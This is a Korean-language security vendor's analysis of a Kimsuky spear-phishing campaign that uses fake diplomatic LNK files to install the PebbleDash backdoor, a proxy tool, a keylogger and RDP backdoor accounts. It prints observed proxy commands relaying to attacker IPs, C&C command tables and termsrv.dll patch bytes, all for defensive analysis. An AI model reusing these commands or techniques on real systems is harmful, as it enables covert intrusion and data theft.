외교 문서로 위장한 김수키, 링크 한 번으로 시스템을 장악한 수법
안랩은 최근 김수키(Kimsuky) 그룹이 외교 관련 종사자를 사칭해 악성 파일을 유포한 스피어 피싱 공격 사례를 확인했다. 공격자는 외교 현안을 다룬 문서처럼 꾸민 LNK 파일로 사용자의 실행을 유도한 뒤, PebbleDash 백도어와 PrxClient 프록시 악성코드, 키로거 등 다양한 도구를 연이어 설치했다. 감염된 시스템에는 원격 접속을 위한 계정과 RDP 환경까지 생성돼, 공격자가 사용자 몰래 시스템을 장악하고 정보와 키 입력을 탈취할 수 있다. 정상적인 외교 문서로 위장한 김수키 그룹의 공격 과정과 주요 악성 도구를 자세히 살펴보자.


[그림 1] 공격에 사용된 디코이 문서 파일
1. 공격 사례
사례 1)
첫 번째 사례에서는 공격자가 사용한 것으로 추정되는 디코이 문서와 LNK 파일, 파워셸(PowerShell) 스크립트가 GitHub에 업로드돼 있었다. vvn31.zip 압축 파일 안에는 ‘vvn. 31.pdf…………………………………………………………………………………………..lnk’라는 이름의 LNK 악성코드가 포함돼 있었다. 파일명에 pdf가 들어가지만 실제로는 바로가기 형식의 악성 파일이다.
사용자가 해당 LNK 파일을 실행하면 파워셸 스크립트가 동작한다. 이 스크립트는 다른 악성코드를 설치하는 드로퍼 역할을 하며, ‘%PUBLIC%Downloads\DefenderUpdate.js’ 경로에 다운로더 기능을 담당하는 JS 악성코드를 설치한다.
생성된 DefenderUpdate.js는 C&C 서버에 접속해 추가 악성 파일을 내려받아 실행하는 다운로더다. 공격 과정에서는 capture.ps1을 다운로드해 실행하는 명령도 확인됐다. 이 스크립트는 감염된 시스템에 저장된 파일을 읽어 C&C 서버로 전송하는 기능을 수행한다. 공격자는 먼저 정보 수집 기능을 담당하는 명령을 실행한 뒤 capture.ps1을 이용해 수집한 정보를 탈취했을 것으로 추정된다.

[그림 2] 다운로더 및 업로더 스크립트
사례 2)
두 번째 사례에서도 LNK 악성코드가 사용됐으며, ‘D.21 SEOUL.lnk’, ‘AIE NO. 178 SEOUL.lnk’라는 파일명으로 유포됐다. 사용자가 해당 파일을 실행하면 LNK 파일은 자기 자신을 인자로 지정해 Mshta를 실행한다. LNK 내부에는 HTA 형식의 악성 스크립트가 포함돼 있어 Mshta를 통해 악성 루틴이 동작한다.

[그림 3] LNK 내부에 존재하는 악성 HTA 스크립트
실행된 스크립트는 드로퍼로 동작해 런처 역할을 하는 ‘%APPDATA%\Microsoft\Windows\Templates\Templates.js’와 런처가 실행하는 다운로더 ‘%APPDATA%\Microsoft\Windows\Templates\Templates.ps1’을 생성한다. 이후 이를 ‘Windows Templates Update’라는 이름의 예약 작업으로 등록해 지속적으로 실행되도록 한다. 모든 설치 과정이 끝나면 사용자에게 디코이 문서를 보여줘 악성 행위가 실행된 사실을 눈치채지 못하도록 한다.
2. 추가 페이로드
1) 원격 제어
PebbleDash
공격자는 이후 PebbleDash를 설치해 감염된 시스템을 원격으로 제어했다. 이번 공격에서는 크게 두 가지 유형의 PebbleDash가 사용됐다. 하나는 특정 인자가 전달됐을 때 동작하는 초기 유형이고 다른 하나는 설정 정보를 윈도우 레지스트리에 저장해 사용하는 유형이다.
첫 번째 유형은 ‘QCvt5676hZXbg’라는 인자와 함께 실행되면 설치 과정을 시작한다. 먼저 실행 파일과 같은 경로에 ‘system32’ 폴더를 생성하고 내부에 ‘smss.exe’라는 이름으로 자신을 복사한다. 그런 다음 ‘mJnZzaCN2RnFG’ 인자로 실행한다. 이렇게 실행된 PebbleDash는 C&C 서버에 접속해 공격자의 명령을 전달받고, 이에 따라 다양한 악성 행위를 수행한다.
공격에 사용된 PebbleDash의 C&C 통신 방식과 지원 명령은 다음과 같다.
| URL 포맷 | 기능 |
|---|---|
| page=<Random>&mode=<ConfigID>&DATA=<SessionID> | 최초 등록 |
| page=1&mode=<SessionID>2 | 명령 다운로드 |
| page=2&mode=<SessionID>&DATA=<EncData> | 결과 전송 |
[표 1] C&C 통신 시 URL 포맷
| 명령 코드 | 기능 |
|---|---|
| 0x09 | 드라이브 정보 전송 |
| 0x0A | 프로세스 종료 |
| 0x0B | 파일 다운로드 |
| 0x0C | 파일 삭제 |
| 0x0D | 파일 Wipe |
| 0x0E | 시스템 정보 전송 |
| 0x0F | 프로세스 정보 전송 |
| 0x10 | 명령 실행 및 결과 전송 |
| 0x11 | 명령 실행 및 결과 전송 – 2 |
| 0x12 | 파일 이동 |
| 0x13 | 파일 업로드 |
| 0x14 | 파일 다운로드 |
| 0x15 | 대기 |
| 0x16 | 대기 시간 변경 |
| 0x17 | 현재 작업 경로 변경 |
| 0x18 | 디렉터 조회 |
| 0x19 | Heartbeat |
| 0x1A | 파일 조회 |
| 0x1D | 파일 패치 |
| 0x1E | 파일 속성 변경 |
| 0x1F | 프로세스 실행 |
| 0x23 | 설정 정보 전송 |
| 0x24 | 설정 정보 변경 |
| 0x25 | 연결 테스트 |
| 0x26 | 자가 삭제 및 종료 |
[표 2] 지원하는 명령 목록
두 번째 유형 역시 최종적으로는 첫 번째 유형과 실질적으로 동일한 PebbleDash를 설치한다. 해당 악성코드는 실행 시 ‘edcVFRtgbNHY6’ 인자를 요구하며, 내부에 포함된 설정 파일을 복호화하고 압축을 해제한 뒤 특정 레지스트리 키에 저장한다. 이후 인젝터 파일을 ‘%SystemDirectory%\sqliom.dll’ 경로에 생성한다.
- 설정 정보가 저장된 레지스트리 키: HKLM\SYSTEM\CurrentControlSet\Control\WMI\Security / “CC1CFAFD-D1B4-4303-8C2C-0BC4E3C54B5C”

[그림 4] 레지스트리에 저장된 C&C 서버 문자열
인젝터는 LSASS 프로세스에 PebbleDash를 인젝션하며 PebbleDash는 위의 설정 정보가 담긴 레지스트리 키에서 C&C 서버를 읽어와 C&C 서버와 통신한다. 통신 시 URL 포맷은 동일하며 지원하는 명령도 대부분 동일하다.
백도어 계정
공격자는 PebbleDash뿐만 아니라 RDP를 이용해 감염 시스템을 원격으로 제어했을 것으로 보인다. 이를 위해 RDP Wrapper를 설치하고 외부 접속에 사용할 백도어 계정을 생성했다. 실제 공격에서는 ‘rdpwrap.bat’ 파일을 이용해 administrator 계정과 RDP 서비스를 활성화했으며, 일부 사례에서는 ‘admini’라는 별도의 백도어 계정도 사용한 것으로 확인됐다.

[그림 5] rdpwrap.bat 악성코드
| 사례 | 계정 이름 | 비밀번호 |
|---|---|---|
| 1 | Administrator | 12********@# |
| 2 | administrator | r8*********ca |
| 3 | adminini | 09******21 |
[표 3] 공격 사례에서 확인된 백도어 계정
일반적으로 윈도우 데스크톱 환경은 서버와 달리 RDP 접속 시 하나의 세션만 지원한다. 따라서 공격자가 원격으로 접속하면 기존 사용자의 연결이 끊겨 악성 행위가 드러날 수 있다.
공격자는 이를 피하기 위해 RDP Patcher를 함께 사용했다. RDP Patcher는 정상 termsrv.dll 파일을 불러와 패치한 결과를 C:\temp.dll 경로에 저장한 뒤, 이를 다시 System32 경로의 termsrv.dll 파일로 변경한다. 이 과정을 거치면 감염 시스템에서 여러 RDP 세션을 동시에 사용할 수 있어 공격자가 기존 사용자의 접속을 끊지 않고 원격으로 시스템에 접근할 수 있다.
- 정상 termsrv.dll의 CDefPolicy::Query() 함수 루틴: 39 81 3C 06 00 00 …
- 패치된 termsrv.dll의 CDefPolicy::Query() 함수 루틴: B8 00 01 00 00 89 81 38 06 00 00 90
2) Proxy
PrxClient
공격자가 제작한 것으로 추정되는 Proxy 도구도 사용됐는데, 여기에서는 뮤텍스 이름을 참고해 PrxClient로 분류한다.

[그림 6] PrxClient의 시작 루틴
PrxClient는 인자로 전달받은 C&C 서버와 로컬의 포트를 중계한다. 공격자는 RDP로 감염 시스템을 제어하기 위해 이를 사용한 것으로 추정된다.
| 인자 순서 | 기능 |
|---|---|
| 1 | C&C Heatbeat Port |
| 2 | C&C IP |
| 3 | C&C Port |
| 4 | Local IP |
| 5 | Local Port |
| 6 | Heartbeat 데이터 |
[표 4] 인자 사용법

[그림 7] PrxClient 프록시 설치 로그
실제 공격 사례에서도 다음과 같은 명령들이 확인됐다.
> C:\users\%ASD%\downloads\125.tmp 6060 153.75.233[.]17 8080 127.0.0[.]2 3389 2
> c:\users\%ASD%\downloads\rpc.exe 6060 153.75.233[.]17 8080 127.0.0[.]2 3389 1
> C:\Users\%ASD%\Documents\taskxys.exe 6060 173.214.170[.]58 8080 127.0.0[.]2 3389 04
3) 권한 상승 도구
이번 공격에서도 이전 사례와 마찬가지로 UAC를 우회해 권한을 높이는 도구가 지속적으로 사용됐다. 다만 기존에 확인된 UACMe 기반 도구뿐만 아니라, 또 다른 오픈 소스 PoC인 SspiUacBypass 프로젝트가 활용됐다는 점에서 차이가 있다. SspiUacBypass는 SSPI의 NTLM Datagram Context를 조작하는 방식으로 UAC를 우회하는 도구다.

[그림 8] UAC Bypass 도구인 SspiUacBypas
4) 기타
공격 사례에서는 이외에도 다양한 도구들이 사용됐는데, 키로거와 다운로더가 대표적이다. 키로거는 “%TEMP%\Log.<사용자 이름>.BIN” 경로에 사용자의 키 입력을 저장한 후 C&C 서버에 전송하는 기능을 포함한다. 다운로더는 단순하게 난독화된 파워셸 명령을 실행하는 기능을 수행한다.

[그림 9] 난독화된 파워셸 다운로드 명령
해당 주소는 현재 기준 다운로드할 수 없다. 다만 ASD 로그를 분석한 결과, 다른 공격 사례에서 확인된 주소를 통해 ‘nwfgy.txt’ 대신 ‘swas.txt’와 ‘sadadf.txt’라는 이름의 파워셸 스크립트가 사용된 정황이 확인됐다. 이들 스크립트는 ‘rdpwrap_new.bat’ 파일을 실행하거나 System32 경로에 저장된 파일 목록을 C&C 서버로 바로 업로드하는 기능을 수행한다.

[그림 10] 공격에 사용된 파워셸 스크립트
사용자들은 메일에 첨부된 파일은 물론 출처가 불분명한 실행 파일을 각별히 주의해야 한다. 또한 V3를 최신 버전으로 업데이트해 악성코드 감염을 사전에 차단할 수 있도록 신경 써야 한다.
- AhnLab콘텐츠마케팅팀